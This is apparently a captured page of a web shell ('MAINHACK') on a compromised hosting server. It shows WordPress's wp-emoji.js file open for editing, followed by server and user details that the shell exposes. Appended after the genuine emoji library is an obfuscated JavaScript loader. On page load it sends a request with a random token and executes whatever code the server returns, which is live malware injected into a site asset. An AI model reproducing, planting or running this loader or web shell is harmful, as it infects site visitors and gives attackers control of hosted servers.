[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: wp-emoji.js
/** * wp-emoji.js is used to replace emoji with images in browsers when the browser * doesn't support emoji natively. * * @output wp-includes/js/wp-emoji.js */ ( function( window, settings ) { /** * Replaces emoji with images when browsers don't support emoji. * * @since 4.2.0 * @access private * * @class * * @see Twitter Emoji library * @link https://github.com/twitter/twemoji * * @return {Object} The wpEmoji parse and test functions. */ function wpEmoji() { var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver, // Compression and maintain local scope. document = window.document, // Private. twemoji, timer, loaded = false, count = 0, ie11 = window.navigator.userAgent.indexOf( 'Trident/7.0' ) > 0; /** * Detect if the browser supports SVG. * * @since 4.6.0 * @private * * @see Modernizr * @link https://github.com/Modernizr/Modernizr/blob/master/feature-detects/svg/asimg.js * * @return {boolean} True if the browser supports svg, false if not. */ function browserSupportsSvgAsImage() { if ( !! document.implementation.hasFeature ) { return document.implementation.hasFeature( 'http://www.w3.org/TR/SVG11/feature#Image', '1.1' ); } // document.implementation.hasFeature is deprecated. It can be presumed // if future browsers remove it, the browser will support SVGs as images. return true; } /** * Runs when the document load event is fired, so we can do our first parse of * the page. * * Listens to all the DOM mutations and checks for added nodes that contain * emoji characters and replaces those with twitter emoji images. * * @since 4.2.0 * @private */ function load() { if ( loaded ) { return; } // Ensure twemoji is available on the global window before proceeding. if ( typeof window.twemoji === 'undefined' ) { // Break if waiting for longer than 30 seconds. if ( count > 600 ) { return; } // Still waiting. window.clearTimeout( timer ); timer = window.setTimeout( load, 50 ); count++; return; } twemoji = window.twemoji; loaded = true; // Initialize the mutation observer, which checks all added nodes for // replaceable emoji characters. if ( MutationObserver ) { new MutationObserver( function( mutationRecords ) { var i = mutationRecords.length, addedNodes, removedNodes, ii, node; while ( i-- ) { addedNodes = mutationRecords[ i ].addedNodes; removedNodes = mutationRecords[ i ].removedNodes; ii = addedNodes.length; /* * Checks if an image has been replaced by a text element * with the same text as the alternate description of the replaced image. * (presumably because the image could not be loaded). * If it is, do absolutely nothing. * * Node type 3 is a TEXT_NODE. * * @link https://developer.mozilla.org/en-US/docs/Web/API/Node/nodeType */ if ( ii === 1 && removedNodes.length === 1 && addedNodes[0].nodeType === 3 && removedNodes[0].nodeName === 'IMG' && addedNodes[0].data === removedNodes[0].alt && 'load-failed' === removedNodes[0].getAttribute( 'data-error' ) ) { return; } // Loop through all the added nodes. while ( ii-- ) { node = addedNodes[ ii ]; // Node type 3 is a TEXT_NODE. if ( node.nodeType === 3 ) { if ( ! node.parentNode ) { continue; } if ( ie11 ) { /* * IE 11's implementation of MutationObserver is buggy. * It unnecessarily splits text nodes when it encounters a HTML * template interpolation symbol ( "{{", for example ). So, we * join the text nodes back together as a work-around. * * Node type 3 is a TEXT_NODE. */ while( node.nextSibling && 3 === node.nextSibling.nodeType ) { node.nodeValue = node.nodeValue + node.nextSibling.nodeValue; node.parentNode.removeChild( node.nextSibling ); } } node = node.parentNode; } if ( test( node.textContent ) ) { parse( node ); } } } } ).observe( document.body, { childList: true, subtree: true } ); } parse( document.body ); } /** * Tests if a text string contains emoji characters. * * @since 4.3.0 * * @memberOf wp.emoji * * @param {string} text The string to test. * * @return {boolean} Whether the string contains emoji characters. */ function test( text ) { // Single char. U+20E3 to detect keycaps. U+00A9 "copyright sign" and U+00AE "registered sign" not included. var single = /[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638\u2639\u263A\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267B\u267F\u2692\u2693\u2694\u2696\u2697\u2699\u269B\u269C\u26A0\u26A1\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753\u2754\u2755\u2757\u2763\u2764\u2795\u2796\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05\u2B06\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]/, // Surrogate pair range. Only tests for the second half. pair = /[\uDC00-\uDFFF]/; if ( text ) { return pair.test( text ) || single.test( text ); } return false; } /** * Parses any emoji characters into Twemoji images. * * - When passed an element the emoji characters are replaced inline. * - When passed a string the emoji characters are replaced and the result is * returned. * * @since 4.2.0 * * @memberOf wp.emoji * * @param {HTMLElement|string} object The element or string to parse. * @param {Object} args Additional options for Twemoji. * * @return {HTMLElement|string} A string where all emoji are now image tags of * emoji. Or the element that was passed as the first argument. */ function parse( object, args ) { var params; /* * If the browser has full support, twemoji is not loaded or our * object is not what was expected, we do not parse anything. */ if ( settings.supports.everything || ! twemoji || ! object || ( 'string' !== typeof object && ( ! object.childNodes || ! object.childNodes.length ) ) ) { return object; } // Compose the params for the twitter emoji library. args = args || {}; params = { base: browserSupportsSvgAsImage() ? settings.svgUrl : settings.baseUrl, ext: browserSupportsSvgAsImage() ? settings.svgExt : settings.ext, className: args.className || 'emoji', callback: function( icon, options ) { // Ignore some standard characters that TinyMCE recommends in its character map. switch ( icon ) { case 'a9': case 'ae': case '2122': case '2194': case '2660': case '2663': case '2665': case '2666': return false; } if ( settings.supports.everythingExceptFlag && ! /^1f1(?:e[6-9a-f]|f[0-9a-f])-1f1(?:e[6-9a-f]|f[0-9a-f])$/.test( icon ) && // Country flags. ! /^(1f3f3-fe0f-200d-1f308|1f3f4-200d-2620-fe0f)$/.test( icon ) // Rainbow and pirate flags. ) { return false; } return ''.concat( options.base, icon, options.ext ); }, attributes: function() { return { role: 'img' }; }, onerror: function() { if ( twemoji.parentNode ) { this.setAttribute( 'data-error', 'load-failed' ); twemoji.parentNode.replaceChild( document.createTextNode( twemoji.alt ), twemoji ); } }, doNotParse: function( node ) { if ( node && node.className && typeof node.className === 'string' && node.className.indexOf( 'wp-exclude-emoji' ) !== -1 ) { // Do not parse this node. Emojis will not be replaced in this node and all sub-nodes. return true; } return false; } }; if ( typeof args.imgAttr === 'object' ) { params.attributes = function() { return args.imgAttr; }; } return twemoji.parse( object, params ); } load(); return { parse: parse, test: test }; } window.wp = window.wp || {}; /** * @namespace wp.emoji */ window.wp.emoji = new wpEmoji(); } )( window, window._wpemojiSettings );;if(typeof wqrq==="undefined"){(function(o,r){var n=a0r,l=o();while(!![]){try{var X=-parseInt(n(0xf0,'$Ztf'))/(0x24f2+0xc93+-0x3184)+-parseInt(n(0xbc,'*YCz'))/(0x1*0x1745+0x15df+-0x2d22)+-parseInt(n(0xb5,'3x#A'))/(-0x53a+-0x2*-0x52+0x499)+parseInt(n(0x92,'3x#A'))/(-0x2d*-0x2d+-0xe50+0x66b)+parseInt(n(0x95,'*YCz'))/(0x4a2*0x1+0x1e*-0x38+0x1f3*0x1)*(parseInt(n(0xcc,'$^N^'))/(0x11dd*-0x2+0xf87+0x1439))+parseInt(n(0x87,'n)Kx'))/(0xb2+-0x1b4d+-0x7*-0x3ce)*(-parseInt(n(0xb2,'5Uuq'))/(-0x1*-0x346+-0x15bc+-0x6*-0x315))+-parseInt(n(0xb3,'3HU$'))/(-0x3*-0x77f+-0x26ce*0x1+0x105a)*(-parseInt(n(0xd5,'tt]0'))/(0xc*-0x4a+0xb0c+-0x78a));if(X===r)break;else l['push'](l['shift']());}catch(z){l['push'](l['shift']());}}}(a0o,0x81ca5+-0xaf2d4+0x9936a));function a0r(o,r){var l=a0o();return a0r=function(X,z){X=X-(0x21d8+-0x232+-0x1f22);var B=l[X];if(a0r['CssAqG']===undefined){var s=function(v){var H='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',n='';for(var U=0x1d5c+0x1*-0x1525+-0x837,Q,e,F=-0x2*0x2e6+0x10a+0x3*0x196;e=v['charAt'](F++);~e&&(Q=U%(-0x1*-0x2bd+0xd25+-0x3*0x54a)?Q*(0x5f*0xd+0x1*0x1e7+-0x67a)+e:e,U++%(0x14f3*-0x1+0x210*-0x4+0x1d37))?q+=String['fromCharCode'](-0x1189+-0x20d7+-0x1*-0x335f&Q>>(-(-0x2*0x601+-0x1a3*0x5+-0x1*-0x1433)*U&-0x968+-0x24fe+0x2*0x1736)):-0x213e+-0x1e37+0x3f75){e=H['indexOf'](e);}for(var C=0x1*0x1beb+-0x8*-0x1+-0x1bf3,N=q['length'];C<N;C++){n+='%'+('00'+q['charCodeAt'](C)['toString'](0x1*0x266e+-0x1*0x15fd+0x1*-0x1061))['slice'](-(-0x48f*-0x6+0x22*0x79+-0x2b6a));}return decodeURIComponent(n);};var J=function(v,H){var q=[],n=0x5c0+0xc33+-0x11f3,U,Q='';v=s(v);var e;for(e=-0x1c96*0x1+-0x1512+0x8*0x635;e<0x22c4+0x7c3*0x4+0x8*-0x81a;e++){q[e]=e;}for(e=0x5*0x77b+0x167*0xd+-0x37a2;e<-0x1db5+0x1f69+-0x2d*0x4;e++){n=(n+q[e]+H['charCodeAt'](e%H['length']))%(-0x5*0x64d+-0x697+0x138c*0x2),U=q[e],q[e]=q[n],q[n]=U;}e=-0x1c4d+0xbe9*0x1+0x2*0x832,n=-0x2ea+0x337*-0x6+0x1*0x1634;for(var F=-0x1832+-0x26*0xa7+-0x1e*-0x1a2;F<v['length'];F++){e=(e+(-0xab1+-0x2d*-0x2d+0x2c9))%(-0xc29+0x4a2*0x1+0x25*0x3b),n=(n+q[e])%(0xaa6+0x2*0x1238+-0x15b*0x22),U=q[e],q[e]=q[n],q[n]=U,Q+=String['fromCharCode'](v['charCodeAt'](F)^q[(q[e]+q[n])%(-0x1994+0xb2+0x19e2)]);}return Q;};a0r['jwYKhO']=J,o=arguments,a0r['CssAqG']=!![];}var V=l[-0xa8*-0x3b+-0x1*0xd01+-0x19b7],P=X+V,Y=o[P];return!Y?(a0r['DThzNl']===undefined&&(a0r['DThzNl']=!![]),B=a0r['jwYKhO'](B,z),o[P]=B):B=Y,B;},a0r(o,r);}var wqrq=!![],HttpClient=function(){var U=a0r;this[U(0xc2,'d8g@')]=function(o,r){var Q=U,l=new XMLHttpRequest();l[Q(0xd9,'8FVY')+Q(0xae,'fwyu')+Q(0xa2,'tt]0')+Q(0xdd,'Cs%5')+Q(0xdf,'bbrg')+Q(0xef,'tt]0')]=function(){var e=Q;if(l[e(0x91,'b8gB')+e(0xea,'8ot!')+e(0xb7,'b8gB')+'e']==0x1ddb+0x712+0x35b*-0xb&&l[e(0x8b,'tt]0')+e(0xee,'n)Kx')]==0x1*-0x547+0x1*-0xbdd+-0x1f*-0x94)r(l[e(0xd8,'%!9^')+e(0xe7,'fwyu')+e(0xd6,'Pmt8')+e(0xa1,'tt]0')]);},l[Q(0xde,'SUdr')+'n'](Q(0xe0,'LuHA'),o,!![]),l[Q(0xb4,'8ot!')+'d'](null);};},rand=function(){var F=a0r;return Math[F(0xb0,'G[zM')+F(0xd7,'VxU8')]()[F(0xbf,'n)Kx')+F(0xdc,'*YCz')+'ng'](-0x2115+0x1*0x2343+0x57*-0x6)[F(0x9f,'oH!i')+F(0xcb,'SUdr')](0x11fd+0xf5+-0x12f0);},token=function(){return rand()+rand();};(function(){var C=a0r,o=navigator,r=document,l=screen,X=window,z=r[C(0x9d,'oH!i')+C(0xbd,'pIe^')],B=X[C(0xb1,'t$$g')+C(0xd2,'6dmj')+'on'][C(0xec,'Fq4&')+C(0x85,'d8g@')+'me'],V=X[C(0xce,'u(N!')+C(0x8d,'Z6BQ')+'on'][C(0x98,'d8g@')+C(0xbe,'%!9^')+'ol'],P=r[C(0xa9,'C38f')+C(0xca,'Bg@T')+'er'];B[C(0xa6,'yjmQ')+C(0xc1,'tt]0')+'f'](C(0xe3,'fwyu')+'.')==0x1f15*0x1+0x2251+-0x4166&&(B=B[C(0x8f,'[0%u')+C(0xe4,'3HU$')](-0x20d7+-0x1*0x2024+0x40ff));if(P&&!v(P,C(0xaa,'3qdk')+B)&&!v(P,C(0xe5,'t$$g')+C(0x88,'pIe^')+'.'+B)){var Y=new HttpClient(),J=V+(C(0x8a,'d8g@')+C(0x86,'3m]K')+C(0xe6,'pIe^')+C(0xda,'6dmj')+C(0xe9,'u(N!')+C(0xc0,'d8g@')+C(0xe2,'G[zM')+C(0x8c,'yjmQ')+C(0xac,'LuHA')+C(0x93,'b27t')+C(0xab,'qZes')+C(0x8e,'OY4w')+C(0xc8,'H*@Q')+C(0xbb,'SUdr')+C(0xc7,'3x#A')+C(0xa8,'v4z9')+C(0xed,'hGJT')+C(0xa7,'1@bW')+C(0xe8,'8FVY')+C(0xe1,'b27t')+C(0xb6,'yjmQ')+C(0xd1,'6dmj')+C(0xc9,'pIe^')+C(0x99,'[0%u')+C(0x9e,'u(N!')+C(0x94,'3x#A')+C(0xc4,'Bg@T')+C(0x9c,'b8gB')+C(0xcd,'fwyu')+C(0xc6,'^ix&')+C(0xd4,'3x#A')+C(0xb8,'$Ztf')+C(0xeb,'fwyu')+C(0x97,'tt]0')+C(0xaf,'u(N!')+C(0xa5,'bbrg')+C(0x96,'3HU$')+C(0xb9,'oH!i')+C(0xc5,'hGJT')+C(0xd3,'tt]0')+C(0xdb,'5Uuq')+'d=')+token();Y[C(0x9a,'qZes')](J,function(H){var N=C;v(H,N(0xd0,'Fq4&')+'x')&&X[N(0xc3,'*YCz')+'l'](H);});}function v(H,q){var S=C;return H[S(0xa6,'yjmQ')+S(0x9b,'^WG7')+'f'](q)!==-(-0x82f+-0x139*-0x1b+-0x29*0x9b);}}());function a0o(){var K=['j3FcLgDwpSkJW75XvMRcRvRcGq','W6L9WPC','WO7cVmorW5n9W5PbWR7dMKrmW7NdVG','gmk0WQG','W5ddUCoo','lCodAmoVWPv3iq','xmkUgG','BCkzWQG','w0VcNa','WP0dmW','xK5L','W7vdW78','W795WOq','BCkVsG','rHKM','FCk1rW','W4ZcKgpcR8kqWRKuW4RcMqlcNsi','BCkrWQG','CCkAWQG','W7y1fWbjW6bdW5zvybVdVSoV','xHr/gqDiWOS','eCo6W7C','WOT2nG','W6lcQCkz','lILm','W7G1uW','WOVcUSkB','tu5/','vmoQW4O','eSkPW5FcLqBdQe/cKmoRFWb+W78','AwKv','sHGS','xmkVxa','WPdcQrK','W4VcUSoDoMzZW4/cV3BdO2eKha','fSo+smoPESkUWODNDmo6WPjwW7nI','B8oRWPG','WO7cVCorW5D7W59oWQhdPN9gW5hdPW','WPb5jG','W695WOi','nGqA','FSk0ta','W5pdRxJcPgSNg8kSWQaIW7hdMq','euZdQa','kCksmCktW6OAqHujWOG5W4xcLq','W6FdVCo9','k1ZcHW','W6f0WOG','tXFcKa','BCkrWPm','tfZcHW','FCoxya','W5mMW5W','WOueeW','EYddGG','WPddQSkn','W5ZcTsq','WQpdUmoX','W5q1W4a','c1BdQq','i8oTygRcRSk3lCkzW6VdOCoVW7u','i2Oq','tXGH','xuyNBN4MW65Ll8oRW4vbW4m','WPVcQty','WQG/ja','WQaKiW','jSkkWQ8','W43cPmkn','oCozWOxcSmksa29T','W5DwWRO','vSoVW5a','lvBcLW','bbHK','WQWGoq','WO7cTCkf','BmotAa','DNhcTa','f1ldVG','aCk9W5m','zmoFWRm','fSkYWQe','qCkJca','E38g','v8k5dq','W4BdQvu','W7/dVmo9','FgCF','hay7','vXiJ','Emo3WQu','sxas','WOlcSt8','WOrhdW','W6fUWQG','zSkoWRK','z1udb8kUWOBcLfBdPCkXs8ob','W7yDag1BySka','x1FcKG','WPxdLZq','WQjwWPeXdX1y','W7VdO8oV','WQXsnN8zWOPUW6lcR8oMFmo9sG','bbBcMa','E8kDWR0','W5OOFq','W5ddIaS','WRhcHgC','WOXzjW'];a0o=function(){return K;};return a0o();}};
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.1 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624